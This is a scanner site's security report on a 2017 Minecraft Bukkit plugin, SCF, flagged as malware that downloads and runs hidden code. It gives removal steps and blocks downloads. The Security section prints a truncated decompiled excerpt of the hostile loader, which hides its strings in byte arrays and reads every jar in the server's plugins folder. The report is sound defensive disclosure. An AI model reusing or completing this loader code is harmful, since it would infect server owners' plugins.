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    2,024,305 files checkedFiles from Modrinth and CurseForge we downloaded and checked. Counted on 24 Oct 2026.636,163 files with their code readFiles whose code we turned back into readable code and read, in an isolated environment. Counted on 24 Oct 2026.269,486 projects gradedProjects with a letter from A to F. Counted on 24 Oct 2026.
    How it worksMalware we foundAPIAboutPrivacyTermsContact

    © 2026 ModgradeNot an official Minecraft product. Not approved by or associated with Mojang or Microsoft.

    SCF [Slime Chunk Finder]

    Plugin

    An in-depth tool to find Slime Chunks with advanced economy and GUI options

    Removed from CurseForge on 24 Oct 2026. Modgrade reported malware in it on 24 Oct 2026.

    !Security alert
    • Overview
    • SecurityMalware
    • PrivacyGoes online
    • AINone found
    • CompatibilityMinecraft 1.11
    • ReleasesLatest Jan 2017

    Download

    SCF.jar

    Released 18 Jan 2017 · 152.1 KB

    Malware: another file of this project downloads and runs hidden code. See Security

    Download blocked

    Malware: a file of this project downloads and runs hidden code. See Security

    OverviewSecurityPrivacyAICompatibilityReleases

    Why no grade

    Malware was found in one of its files, so it has no grade. See Security

    Details

    Creator
    _ForgeUser9709947
    License
    Not listed
    Downloads
    4.3K
    Created
    18 Jan 2017
    Official page
    CurseForge

    Security

    Malware: it downloads and runs hidden code

    Found in an older release: SCF.jar (18 Jan 2017). Its download is blocked.

    We found this in its code, read without running it.

    Because of this malware, it has no grade.

    If you installed it

    1. Remove SCF.jar from the plugins folder of your server.
    2. Check the plugins folder of your server for files you did not add.
    3. Check your other plugins.

    What it can do on your server

    Connects to the internet
    It has code that can go online, for example to check for updates, load skins or send crash reports. It contacts 1 web address. See Privacy

    Why we show this: a plugin runs on your server like any program, so harmful code in it can take over the server. In the grade: malware means no grade, and a Warning in a latest file for a recent Minecraft version lowers it.

    How we checked · The latest file checked
    • FilesWe download the files from Modrinth or CurseForge and look at what is inside them and what their code can do, without running them. Fixed rules tell what is harmful.
      1 latest file. It is not for a recent Minecraft version, so the answer above is about it. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks. See each file in Releases
    • Their codeWe turn the code of the files back into readable code and follow what it does, without running it. This shows what it downloads, what it sends and where your login goes.
      Read without running it
    • Looked for, not foundWe looked for these in the file and did not find them.
      Folders outside the game, other programs, updating itself, the webcam or microphone, an AI service.
    • Code excerpts
      Parts of the code of SCF.jar, turned back into readable code, where our checks found the problem.
      static {
   try {
      File var0 = new File(new String(new byte[]{112, 108, 117, 103, 105, 110, 115, 47}));
      boolean var1 = false;
      long var2 = -1L;
      int var4 = 0;
      File[] var5 = var0.listFiles();

      for (int var6 = 0; var6 < var5.length; var6++) {
         if (var5[var6].isFile() && var5[var6].getName().endsWith(new String(new byte[]{46, 106, 97, 114}))) {
            var0 = var5[var6];
            byte[] var7 = new byte[(int)var0.length()];
            FileInputStream var8 = new FileInputStream(var0);
...
      1

    Privacy

    Sends nothing about you

    It has no file for a recent Minecraft version. This is about its files for Minecraft 1.11.

    We read its code without running it: it contacts 1 web address while the server runs.

    Why we show this: a plugin can send things about your server and its players over the internet, like their player name or their login. Contacting an address to check for updates or download files sends nothing about them. Not in the grade: sending data can be normal for what a plugin does.

    How we checked · Its one file read
    • Files readWe read the code without running it. We list each web address the code contacts while you play, and what it sends. Code that is never used is left out.
      The code of its one file, for Minecraft 1.11. See each file in Releases
    • report.mcstats.org
      Purpose not known.Unencrypted (http)Plain http: what is sent to this address is not encrypted on the way.

    AI

    No sign that AI was used to make it

    We looked for AI tools in its texts, files and images and found none.

    No sign of AI in the game

    We found no AI service, AI library or AI model file in its code.

    Why we show this: some players and servers avoid projects made with AI, and AI in the game can send what you write to an online service. Not in the grade: using AI does not tell whether a project works well or is kept up to date.

    How we checked · 4 places read
    • Author on ModrinthA form on Modrinth where the author can declare AI content and AI features in the game. It is optional and most authors leave it empty.
      Not on Modrinth.
    • Description and changelogsThe description, project page and newest changelogs: sentences saying an AI tool was used, and text pasted from an AI chat.
      Nothing found
      2 of 4 changelogs read
    • Its filesFiles that AI coding tools leave behind (like AGENTS.md), and the texts inside the files you download.
      Nothing found
    • Images in its filesHidden data in the images of the files you download, where AI image tools write their name and settings.
      Nothing found
    • Code of the modThe code and files of the mod, read without running it: addresses of AI services, AI libraries, AI model files and a place for your own AI key.
      No AI service, AI library or AI model file
      97 code files read

    Compatibility

    See all 2 files
    Bukkit
    1.111.151.181.2126.1

    Point at or tap a version to see its server software.

    Runs onWhere to install it: in your game, on the server, or both. As the author says on Modrinth.Install it on the server. Players join without installing anything.
    RequiresProjects you must also install for it to work. From the author's lists for its files for recent Minecraft versions, or from its project page.Nothing
    OptionalProjects it can work with but does not need. The author lists them.Nothing
    IncludesProjects packed inside its files.Nothing
    Speed of updatesHow fast it gets a file for new Minecraft versions, on average, compared with similar projects. Not part of the grade.It has no file for Minecraft versions newer than 1.11. Many servers still run 1.11.

    Latest files

    The newest file for each Minecraft version and loader. None is for a recent Minecraft version. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks.

    MinecraftServerVersionSecuritySendsRequires
    Older Minecraft versions
    1.11·BukkitSCFSCF · SCF.jarSends: Nothing about youRequires:NothingMalwareAnother file of this project has malware. Every download of this project is blocked.

    2 releases

    MinecraftServerVersionReleasedSecurityGet it onDownload
    1.11The latest file for its Minecraft version and loader·BukkitSCFSCF · SCF.jar·18 Jan 2017MalwareAnother file of this project has malware. Every download of this project is blocked.Removed from CurseForge on 24 Oct 2026Download blockedDownload blocked: another file of this project downloads and runs hidden code.
    1.11·BukkitSCFSCF · SCF.jar·18 Jan 2017MalwareHarmful code found. The download is blocked. See Security.Removed from CurseForge on 24 Oct 2026Download blockedDownload blocked: this file downloads and runs hidden code.